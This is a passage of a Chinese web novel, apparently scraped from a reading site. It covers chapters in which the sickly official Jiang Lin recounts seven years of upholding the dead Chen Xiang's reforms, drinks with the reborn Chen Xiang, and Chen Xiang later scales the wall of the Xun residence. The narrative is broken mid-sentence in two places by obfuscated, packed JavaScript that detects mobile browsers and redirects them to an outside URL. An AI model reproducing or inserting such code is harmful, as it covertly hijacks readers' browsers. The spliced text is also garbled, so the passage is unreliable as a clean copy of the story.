陈襄还总爱笑话他身子骨弱,是个经不起折腾的病秧子,动辄就断言他迟早要英年早逝。 哼,结果呢? 他这个“病秧子”还好端端的,对方却先走了不知多少步了。 若说天下初定那几年,他之所以没有拂袖离去,是因为当时百废待兴,政务繁忙,他不得不留下来帮着那个人收拾摊子,稳固这来之不易的江山。 那么,在陈襄死后呢? 按理说,他已再无牵绊,本该是海阔凭鱼跃,天高任鸟飞,正好可以寻一处山清水秀之地,痛痛快快地畅饮一番,醉他个天昏地暗。 但…… 他做不到。 姜琳的眸光急速变换。 他跟着陈襄走了那么远的路,亲眼看他平地起高楼,又见这朱楼坍塌了。 如何能够安理得地离得开呢。 那个人,才华冠绝当世,无论是科举取士的革新,还是新朝颁行的种种利国利民之策,桩桩件件,无一不是呕心沥血之作。 那是他的心血,合该泽被后世百代流芳。 他姜琳,怎么忍心看着这一切,随着那个人的身死而烟消云散,最终沦为史书上寥寥几笔、甚至可能被歪曲抹黑的注脚? 陈襄,陈孟琢。 这个名字合该名留青史! 为了这个些目的,他自然是要想方设法地多撑些时日。大夫早就千叮咛万嘱咐他戒酒,于是他便戒了。 他与对方不同,现在之所以还立这于朝堂之上,不为天下苍生。 只为,一人而已。 他削了一块简易的木牌立于后院当中,权作碑石,想来对方大约也不会在意这些虚礼。 那家伙,生前就不甚在意这些身后名、身后事,只一门心思扑在那宏图伟业上,仿佛多看一眼红尘俗物都是浪费。 自此,每当政务缠身、心力交瘁之际,那深入骨髓的酒瘾如同细密的藤蔓般悄然爬上心头时,他便会去买上一坛子好酒,提着酒坛,悉数倾倒在木碑前。 点滴不沾唇,尽付与泥土。 久而久之,这片小小的园地被酒液浸透了。一年四季,无论花开花落,都弥漫着一股子浓得化不开的酒香。 他得活得久些。 至少,要等到这新朝真正根基稳固,等到陈襄那些革新之策真正深入人心,再无人能轻易撼动。 这些酒,便当对方就代他喝了罢……就当还他当初那坛。 哈,谁让对方死得那么早,就算想拒绝也得从棺材里爬出来再说。 在当初平定天下,对着舆图彻夜推演,四处奔袭之时;在新朝建立后,埋头于如山似海的政务时;在对方死去的这七年里支撑病体独守朝堂时。 姜琳抱怨过,后悔过。叫苦不迭,悔不当初。 他不止一次地想,为什么?为什么当初就信了陈襄那仿佛天下尽在掌握的狂言? 就因为那坛子烈酒,还是因为那人眼中不容错辨的、对未来的笃定? 每当咳喘不止、夜不能寐之时,他都忍不住想,若是当初没有遇见陈襄,他或许早已携一壶酒,一叶舟,逍遥于山水之间。 何至于如今这般。 因为一坛酒,搭上了自己的一辈子,值得么? 姜琳的视线缓缓抬起,落在对面的陈襄身上。万般心绪如潮水般翻涌上头,那点酒意烧得他四肢百骸都有些发烫。 他年少轻狂之时曾嗤笑世间庸碌之辈,自诩聪明绝顶,能看透人心诡谲,洞察世事变迁。 但人活于世,终究是逃不过这滚滚红尘。 贪、嗔、痴、怨、爱、憎……他姜元明又岂能真正独善其身? ——以为能将这红尘万丈看得分明,却看不透他自己的心。 姜琳唇角勾起一抹极淡的弧度,带着几分自嘲。 他将手中那只空空如也的酒壶放回到石桌上,发出“叮”的一声脆响。 而后,他仰起头,遥遥地看向远方,像是对陈襄说,又更像是喃喃自语。 “世界微尘里,吾宁……爱与憎①啊。” 20. 第 20 章 那句话太轻了,轻得如同拂过檐角的晚风,刚一离开姜琳之口便随风而逝。 风确实起了,撩起姜琳未束的很好的发,拂过他身上的衣衫。 浅蓝色的衣袂随风翻飞飘荡,透着一股说不清的潇洒旷达,如遗世独立的修竹,清癯而自有风骨。 随着方才那句低语一起被风吹走的,还有姜琳心中千万般复杂难言的思绪。他长叹一声,而后面上便又恢复了往常的样子,随意地一撩袍摆,又在石凳上安然坐落。 他这边是云淡风轻了,徒留对面的陈襄一个人莫名其妙。 这人刚才是在,发酒疯? 陈襄用怀疑的眼神看向姜琳:“……你服散了?” 姜琳刚刚坐稳,便听到对方这一句话。 他刚刚平复下去的心情瞬间被气到破了功:“服什么散?你不是说过那种东西最是伤身败体,让我不要碰么!你——” 话到了嘴边,他却又猛地顿住。 说出来。 一个声音在他心中道。 把一切都说出来。 告诉他,这七年你是如何过来的。告诉他,你为了守住他留下的那些东西,付出了怎样的代价。 这有什么不好意思说的。你不说,陈孟琢这个木头疙瘩永远都不会知道! 明明已经做好了搭上一辈子的准备,如今对方回来了,难道不该理直气壮地“邀功”么? 姜琳的浅色的眼眸深处晦暗不明。 他想起陈襄曾经说过的“会哭的孩子才有奶吃”。撒娇痴缠,诉说委屈,这些难道不一直都是他信手拈来的强项么? 他要是学那个谁……那岂不是只能白白憋屈到死?对方可不会主动来关心他! 这些声音在姜琳的心底疯狂地叫嚣着。 然而,当他的视线真正落在对面陈襄的那张脸上时,心中那股汹涌的、几乎要破口而出的情绪,却像是被一根无形的细针轻轻一扎,瞬间泄了气。 眼前的陈襄,眉宇间还带着几分少年气,如此跳脱气人,鲜活无比。 这样的陈襄,他究竟有多久没有见到过了? 明明在他们相识之初,像这般的你来我往、互相挤兑,简直就是家常便饭。 可后来,随着主公的势力日益庞大,随着陈襄运筹帷幄、决胜千里,也随着他“毒士”、“枭臣”的名声响彻天下,对方就越来越沉默了。 阴沉、凌厉、刻薄、狠辣。 ——令人畏惧。 这才是世人眼中的武安侯。权倾朝野、阴沉冷郁的武安侯陈襄。 可姜琳却始终记得对方最初的模样。 家国天下,黎民苍生,还有那些不得不为之牺牲的、沾染在双手上的血腥与罪孽,皆压在他的身上、心上。 如今,面前之人像是被死亡与新生重新洗涤了一遍,将上一世那十年征伐算计所积攒的、厚重得令人窒息的尘埃与疲惫,都尽数洗刷剥落了。 那眼神分明重新变回了与他初次相见时的锋锐与明净。 看着这样的陈襄,姜琳心头那点刚刚升腾起来的火气,就像是被春日暖阳下的薄冰,悄无声息地融化了。再也凝聚不起来。 他怎么都气不起来了。 罢了,罢了。 姜琳在心底无声地喟叹。 这个人已经为这天下,为那些沉重的理想,彻彻底底地付出过一次了,连同他的性命一起燃烧殆尽。 那些个陈年旧账,又何必在此刻说出来打扰兴致呢? 虽是不打算剖心沥胆地诉苦邀功,但这并不妨碍姜琳斜睨着陈襄,拉长了语调,慢悠悠地开口:“我留下来,还能是为了什么?” “也不知道是谁啊。轰轰烈烈开了个头,又是科举取士,又是新政改革,摊子铺得倒是大,结果呢?留下一堆理不清、剪还乱的烂摊子!” 姜琳说着,伸出两根瘦长的手指,有一下没一下地敲着青石桌面,仿佛在数落着陈襄的罪状。 “吏部尚书,听着是威风,可谁知道内里的苦?每日里案牍如山,还得跟那些老狐狸们周旋。” 他故意露出一副愁苦不堪的神情,长叹了口气:“唉,当年你不过用一坛酒便让我为你卖命。谁料如今,琳不仅每天累死累活、连酒都喝不得了。” “每年清明寒食,还得眼巴巴地备上三坛好酒,去你那荒草萋萋的坟前。啧,倒欠你的!” “……” 姜琳这一番话说得抑扬顿挫,陈襄尴尬无比,无言以对。 他清楚姜琳所言非虚。对方这七年来的艰难困苦,恐怕远非这几句轻描淡写的抱怨所能涵盖。 “咳,”陈襄清了清嗓子,语气也不自觉地放软了些,“确实辛苦你了。你也不必事事都自己撑着,可以找些得力的人手帮你分担一些,比如……” 他开始思索。 乱世中人才凋零,青黄不接。世家大族垄断典籍,寒门子弟出头之路崎岖无比,纵有天纵奇才,也如凤毛麟角。 能如姜琳这般,于寒微之中崛起,独当一面的,更是绝无仅有。 他力推科举,兴建书院,广开教化,为的就是打破这种局面。 可冰冻三尺非一日之寒。想要真正看到成效,至少也需十年八载的光景。能信任、又能胜任这繁杂吏部事务的…… 陈襄搜肠刮肚地想了半天,竟然一个也没想到。 “对了,”他眼中闪过一丝光亮,想到一人,“你怎么不找乔真帮你?” 乔真是他上辈子一手提拔起来的下属,替他处理了不少事情,用起来十分顺手。 “哈。” 谁知,听到乔真的名字,姜琳摇了摇头,像是听到了什么天大的笑话一般:“我岂能管的动他?” 他扶住额角,像是被勾起了什么头疼的往事:“你还是自己去瞧瞧罢。看看你当年的小家雀,如今都修炼成什么模样了!” “简直像一只斗鸡!成日里在朝堂上横冲直撞,搅得是鸡飞狗跳,乌烟瘴气。可怜我这多愁多病身……” 陈襄:? 你说谁? 那个在他面前一副低眉顺眼、楚楚可怜小白兔模样的乔真? 姜琳大倒苦水:“如今朝堂上的情况,你怕是也知晓一二。士族那帮人上蹿下跳,崔晔,钟隽,杨洪那些个人,明里暗里地想废除你的那些政策。” “张彦那老头儿倒是稳得住,就死死守着他那个户部,问就是国库空虚。” “还有法雍。这人就是个奇葩。整日就待在鬼气森森的刑部大牢里,对着卷宗和犯人,跟个黑脸判官似的,长安城里不少人家都偷偷把他画成门神贴在门上辟邪了!” “——然后就是乔真这头犟驴。不,是疯狗!”姜琳咬着牙道,“劝也劝不住,拦也拦不住,盯着士族咬,逮着谁咬谁!” “伤敌八百,自损一千!” “我跟他说了多少次,对付士族要讲究策略,要徐徐图之,不能硬碰硬。他把水搅得更浑,矛盾激化得更厉害,他,咳咳、咳——” 说着说着,姜琳情绪过于激动,牵动了肺腑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647348|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捂着唇剧烈地咳嗽了起来。 陈襄忙让他歇一歇顺顺气。 他心里确实颇感意外。 乔真原是被他赎买回来的罪奴。当时他在观察河东的一处盐场,有一个衣衫褴褛的少年,不顾一切地冲出来跪倒在他面前,请求他将其带走。 对方看起来不过十二三岁,苦苦哀求。他便随手把人收下了。 乔真出身极低,没有什么学识,只长着一张好看的脸。 但听话。 他初时并未多想,只把对方当作一个普通的仆从。但很快,他便发现这少年身上潜藏着惊人的韧性和野心。 陈襄便免去了他的仆役身份,给了他学习的机会。 乔真没有让他失望。他对别人狠,对自己更狠,不惜性命般地疯狂学习,拼命向上爬,逐渐成为了陈襄手中一把最好用的刀。 当然,论学识、论眼界,对方自然无法与姜琳这等人物相提并论。 但作为一把“工具”却是足够了。 无论地位如何变化,乔真在他面前始终保持着顺从。 最初他称呼陈襄为“主人”,陈襄让他改口,他才怯生生地改称“大人”。 在他身边时,乔真会像个最忠心的仆人一般,亲力亲为地服侍他的起居,为他整理文书,端茶倒水,叠被铺床。 旁人私下里戏称乔真是他养在身边的小家雀,温顺乖巧,召之即来,挥之即去。 乔真听到了,也只是腼腆一笑,仿佛默认了这个带着几分羞辱意味的轻佻称号。 但对乔真的疑惑也仅仅是在陈襄脑中短暂掠过。他更关心的是朝堂形势。 陈襄脑中朝廷局势的蓝图被补充的更加完整了。 ——和他之前的推测大差不差。 士族势力的复起,果然应该就是影响天下平稳的不稳定因素,也是他此次任务的关键了。他就按照之前的计划,一步步将这些盘根错节的旧势力彻底清除便好。 彻底明确了之后的目标,陈襄的心情放松了些许。 他又看向了姜琳:“……师兄呢?他如何?” 这个疑问自他重生起便一直盘旋在心中了。 但先是萧肃,再是姜琳。将朝堂上下的势力都剖析了一遍,几乎人人点到,却唯独独漏了对方。 陈襄终于按捺不住,问了出来。 姜琳抬眼看他。那双桃花眼眼波流转,似有什么说不清道不明的情绪一闪而过。 他慢悠悠道:“荀含章啊……那自然是,好好的当着他的荀中书、荀太傅啦。” 陈襄显然不满意对方这个敷衍至极的回答,抬手敲了敲桌面:“我问的是士族那边的情况,师兄为何不做约束?” “我怎会知道?”姜琳的目光飘飘忽忽地落到周围的花草树木上,“对方可是先帝钦任的托孤重臣、两代帝师,那等身份高贵之人,闲杂人等可不得见。” “许是士族党羽太过庞大,荀太傅毕竟也是士族中人,另有考量呢?” 明知道对方完全是在瞎说,陈襄却还是被这阴阳怪气气出了一腔火气。 “你——” 他提起气,刚想反驳,可话到了嘴边却又停住了。 ……和姜琳在这里掰扯这些又有什么用。 陈襄:“……算了。我之后自去问他罢。” 姜琳灵利地将目光转了回来。 他一眨不眨地盯着陈襄。 “你不躲着荀珩了?” 听到这话,陈襄没反应过来。他整个人为之一怔。 21. 第 21 章 陈襄在姜琳那双澄澈剔透,宛如上好琥珀雕琢而成的眼眸中,清晰地看见了自己的倒影。 那倒影的表情中带着一种近乎茫然的怔忡。 躲着。 谁? 他愣了半晌,才反应过来对方话语中的意思。 陈襄脱口而出:“我什么时候躲着他了?” 姜琳眨了眨眼。 “哎呀。” 他那双总是带着几分倦懒笑意的桃花眼微微睁大了一瞬,而后又重新眯了起来,发出一声意味不明的轻叹。 陈襄皱着眉看他,眼中都是货真价实的不解。 “无事,无事。” 姜琳面上又重新挂上了那种风流潇洒的笑容,心情仿佛骤然间变的很好,眼睛都弯成了月牙。他的眼尾微微上挑,透着一点狡黠的光。 “来人!将府中酒都搬过来!”姜琳径自转头,朝着庭院外扬声喊道。 他回过头,笑意盈盈地看着陈襄,眼中光华流转:“你我久别重逢,今日定要痛饮一番!” “你既回来,琳再醉一场又何妨?” 那笑容明晃晃的,带着不容拒绝的热情,将陈襄所有未出口的疑问都堵了回去。 天色已经彻底黑透了。月亮还未升起,墨蓝色的天幕上缀着几颗疏星。庭院中的树木花草,都在夜色中被蒙上了一层模糊不清的影子。 候在院外的仆从听到呼唤,很快便捧着酒坛鱼贯而入。酒坛有大有小,贴着红纸封条,显然都是珍藏已久的好酒。另有仆役点亮了灯笼,悬挂于院中。 一盏盏暖黄的光晕散开,驱散了黑暗,将石桌、花影,以及桌边两人的身影都清晰地映照出来。 陈襄看着眼前这番景象,看着姜琳兴致勃勃地接过酒坛,拍开封泥。“啪”的一声脆响后,浓郁的酒香瞬间弥漫开来,醇厚而绵长。 ……他还是一脸纳闷。 姜元明此人什么时候是在开玩笑,什么时候是认真的,他还是能分辨出来的。 所以,对方为什么会认为他在躲师兄? 他究竟什么时候“躲”过师兄? ——分明是师兄不认同他、不想见他啊。 这个问题梗在陈襄的心头,仿佛一滴墨滴投入水中,不断晕染开来。 姜琳却似对他的疑问毫无所觉,将二人身前的酒杯都斟得满满当当,举杯相邀。 “来,孟琢,满饮此杯!”姜琳桃花眼中笑意盎然,热情洋溢得近乎灼人,“今夜,我们不醉不归!” 陈襄看看杯中晃动的酒液,最终还是将到了嘴边的话咽了回去。 他端起酒杯,与姜琳碰了一下,发出清脆的声响,而后仰头饮尽。 辛辣的暖流顺着喉咙滑下,点燃了四肢百骸。 姜琳劝酒的本事一流,言语间尽是重逢的喜悦和不容分说的豪气。两人一杯接着一杯,不知不觉间便已喝下了不少。 陈襄如今的这具身体酒量浅薄,产生了醉意。于是心中的疑问也变得雾蒙蒙的,遥远而不真切,轻飘飘地飞出了他的脑海。 酒能忘忧,确实如此。 他用力甩了甩头,将酒意驱散了几分。就见姜琳歪倚在石桌边,半阖着眼,一副醉玉颓山的姿态。 陈襄见对方似是完全醉了过去,直往地上滑,怕他真的摔倒在地,便起身欲将对方扶好。 谁料他刚走近,那人便身形一软,直直朝着他倾倒过来。 陈襄眉头一皱,下意识地就想将对方推开。但随后又立即想起对方身体病弱,遂收敛了手上的力气。 然而他完全忘记了,他如今的这副少年之躯较之姜琳还要矮上几分,力气远不及当年。 所以他的推拒并未奏效。 姜琳带着几分沉醉的气息,就这么压到了陈襄的身上。 ……出乎意料的并不是很沉重。 像是一枝盛开到有些枯萎的芍药花搭在了身上。 姜琳的头靠在他的肩上,呼吸轻浅而温热。陈襄能清晰感受到他胸腔的微弱起伏。 夜风微凉,姜琳穿的单薄,浅蓝色的外袍之下,只有一件白色的单衣。 在灯火摇曳之下,陈襄能清楚的看见他纤瘦的腰身,和肩胛骨嶙峋的弧度。 他的手僵了一下,无奈地叹息了一声。最终稳稳地扶住对方。 纵然瞧着气色尚可,但这副身子骨,终究还是老样子。 这七年光阴,于他不过一瞬,可对于姜琳确是实实在在的七年。他独自一人撑起朝局,定然不易。 陈襄心绪复杂,心口像是堵了一团棉花,轻盈但充盈。 他将姜琳半扶半抱地搀扶坐正,看着对方沉沉睡去的样子,又看了看四周满地狼藉。 酒坛倾倒,杯盏零落。 今日宴饮只能就此作罢。 陈襄抬声唤来庭院外的仆役,命他们收拾残局。 “将你家大人送回房中,好生照看,”陈襄对快步趋入的仆役道,“备些醒酒汤,待他醒时用得上。” “是,是。”为首的仆役连忙应下,指挥着另外两人上前将姜琳扶过。 一位管事模样的中年人上前一步,对着陈襄道:“陈公子,夜已深了。郎君吩咐过,早已为您备好客房安歇……” 他确实饮了不少酒,有几分醉意,但:“无需劳烦。我不留宿。” 说罢,他便向着宅邸之外走去,步履稳健,丝毫不见醉态。 那管事愣了一下,不敢强行阻拦,只得亦步亦趋地跟在他身后。 一路穿过庭院,行至府门前。管事再次开口:“陈公子,夜间行路多有不便,府里已备好车马……” “不必。”陈襄揉了揉揉眉心,“我住处离此地不远,何须车马?” 他不再给对方任何劝说的机会,径自迈步离开,身影融入了夜幕当中。 …… 陈襄方才觉得自己脑中尚且清明,但在这空寂无人的街道上走出不远,一道夜风裹挟着寒意迎面拂来,他才反应过来。 ——住处离此处不远的,是上辈子的武安侯。 而如今的他,自然是不能再回去武安侯府的。 陈襄停下脚步。 方才所饮的酒,此刻又顺着血脉悄然爬上头颅,带来一阵晕乎乎的微醺之感。像是他少年时第一次喝醉酒的感觉,后来他喝的酒多了,虽说不到千杯不醉的境地,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647349|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不会轻易醉倒了。 那么,他该去哪里呢? 月明星稀。 夜风带着料峭的春寒,卷过空寂的长街。 月光如练,倾泻而下,将青石板铺就的道路和两侧高门紧闭的府邸都笼罩在一片清冷的辉光里,仿佛凝上了一层薄薄的寒霜。 陈襄微微眯起眼,抬头看着冷冷的月亮。 这个问题并没有让他思考太久。 他转过身便向另一个方向走去。 顺着记忆当中的方向,不知走了多久,一座略显朴素的府邸出现在他眼前。 与周遭那些动辄朱门高墙、石狮镇守的显贵宅邸不同,这座府邸显得有些低调,甚至可以说是简朴。 朱红色的大门紧闭着,岁月侵蚀,略显陈旧,并未有过多繁复的雕饰。门楣之上,悬着一块匾额,黑底金字,上书两个苍劲有力的大字—— 荀府。 陈襄仰起头,目光落在那两个字上,久久未动,心中有些惘然。 月光将他孑然的身影拉成长长的一道。 他其实从未真正踏入过这道府门之内。 但这府外的景致,这扇门,这块匾,乃至门前那两棵老槐树虬结的枝干,他都熟悉得不能再熟悉。 哪怕隔了很多年,换了一具身躯,记忆依旧很清晰。 官员的府邸大多遵循“前堂后寝”的规制,前院处理公务、接待宾客,后院则是家眷起居之所。此刻夜深,府邸正门紧闭,门前想必有仆役看守,是断然不会为他这不速之客开启的。 但这难不倒陈襄。 他轻车熟路地绕着府邸外墙缓步而行,不多时,便来到了后墙的位置。 荀家家风素来节俭,师兄自然也是如此。府中的仆役和护院并不会太多,后院更是会尤其清静。 陈襄停下脚步,环顾四周,确认夜色中并无旁人,目光最终落在那不算太高,却也足有三米左右的围墙上。 翻墙。 这对他来说,是老本行了。尤其是翻师兄家的墙。 他年少时没少翻过荀家的墙头。 陈襄抬眼扫视,目光很快锁定了一处。 围墙边恰有一棵枝繁叶茂的老树,树干粗壮结实,几根粗壮的枝桠恰好横斜搭向墙头,简直是为他量身定做的梯子。 他深吸一口气,略微活动了一下僵硬的筋骨,随即身形一纵,双臂抓住较低的枝桠,脚尖在树干上借力一点,便轻巧地攀上了墙头。 这番动作瞧着还算利落,只是陈襄却感觉到一阵气喘不可抑制地涌了上来。 他扶住墙头,稳住身形,心道这具身体果然还是太弱了些。 此处的围墙恰好连接着荀府的后院。 夜色之下,寂静无声。只有风吹过树叶的沙沙轻响,以及远处隐约传来的更漏声。 陈襄平复了气息,而后便抬眼向着院内望去。 这一眼,他便看到了庭院当中的那道身影。 庭院之中,月光如瀑,清辉遍洒。 那人似是听到围墙之上的声响,抬起头来。 两双眼眸,便在这静静地流淌的月光之下, 四目相对。